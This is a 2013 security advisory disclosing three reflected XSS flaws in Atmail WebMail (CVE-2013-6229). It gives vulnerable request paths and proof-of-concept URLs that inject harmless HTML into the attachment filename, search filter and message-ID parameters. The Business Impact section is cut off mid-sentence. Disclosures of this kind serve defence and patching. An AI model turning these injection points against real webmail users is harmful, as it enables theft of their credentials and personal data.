=============================================
INTERNET SECURITY AUDITORS ALERT 2013-014
- Original release date: March 25th, 2013
- Last revised: March 25th, 2013
- Discovered by: Vicente Aguilera Diaz
- Severity: 4.3/10 (CVSSv2 Base Scored)
- CVE-ID: CVE-2013-6229
=============================================

I. VULNERABILITY
-------------------------
Multiple reflected XSS vulnerabilities in Atmail WebMail.

II. BACKGROUND
-------------------------
Atmail allows users to access IMAP Mailboxes of any server of your
choice. The software provides

a comprehensive email-suite for accessing user mailboxes, and provides
an inbuilt Calendar and

Addressbook features. The WebMail Client of Atmail supports any existing
IMAP server running

under Unix/Linux or Windows systems.

III. DESCRIPTION
-------------------------
Has been detected multiple reflected XSS vulnerability:
1) in the view attachment message process
2) in the search message with filter process
3) in the delete message process

These vulnerabilities allows the execution of arbitrary HTML/script code
to be executed in the

context of the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
1) View attachment message process
When a user opens a file attachment in an email, the link is as follows:

http://<atmail-

server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<
ID>/filenameOriginal/<fil

e>

where:
- <atmail-server> is the Atmail WebMail server
- <ID> is the unique ID for the message that contains the attachment
- <file> is the attachment file in the message

A malicious user can inject arbitrary HTML/script code in the <file>
parameter. For example:

http://<atmail-

server>/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<
ID>/filenameOriginal/test

.txt<H1><marquee>This+is+an+XSS+example

2) Search message with filter process
When a user search messages with a filter (for example, using the
"Friends" filter), the link is

as follows:

POST

/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBO
X/resultContext/searchRes

ultsTab5 HTTP/1.1
Host: <atmail-server>
...
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<filter>

where:
- <atmail-server> is the Atmail WebMail server
- <filter> is the name of the selected filter by the user

A malicious user can inject arbitrary HTML/script code in the <filter>
parameter. Also, This POST

HTTP Request can become a GET HTTP Request, making it easier to exploit
the vulnerability.
For example:

http://<atmail-

server>/index.php/mail/mail/listfoldermessages/searching/true/selectFold
er/INBOX/resultContext/se

archResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=fr
iends<H1><marquee>This

+is+an+XSS+example

3) Delete message process
When a user select and delete a message, the link is as follows:

POST
/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash
HTTP/1.1Host:

<atmail-server>
...
resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0
&mailId%5B

%5D=<MailID>&unseen%5B20%5D=0&unseen%5B16%5D=0&unseen%5B15%5D=0&unseen%5
B14%5D=0&unseen

%5B12%5D=0&unseen%5B11%5D=0&unseen%5B10%5D=0&unseen%5B9%5D=0&unseen%5B8%
5D=0&unseen

%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=0&unseen%5B3%5D=0&unseen%5B2%5D=
0&unseen%5B1%5D=0

where:
- <atmail-server> is the Atmail WebMail server
- <MailID> is the identifier (number) of the mail selected by the user

A malicious user can inject arbitrary HTML/script code in the <MailID>
parameter. Also, This POST

HTTP Request can become a GET HTTP Request, making it easier to exploit
the vulnerability.
For example:

http://<atmail-server>/index.php/mail/mail/movetofolder/fromFolder/INBOX
/toFolder/INBOX.Trash?

resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0
&mailId%5B

%5D=<H1><marquee>This+is+an+XSS+example&unseen%5B20%5D=0&unseen%5B16%5D=
0&unseen

%5B15%5D=0&unseen%5B14%5D=0&unseen%5B12%5D=0&unseen%5B11%5D=0&unseen%5B1
0%5D=0&unseen

%5B9%5D=0&unseen%5B8%5D=0&unseen%5B6%5D=0&unseen%5B5%5D=0&unseen%5B4%5D=
0&unseen%5B3%5D=0&unseen

%5B2%5D=0&unseen%5B1%5D=0

V. BUSINESS IMPACT
-------------------------

user's browser, this can

leverage to steal sensitive information as user credentials, personal
data, etc.
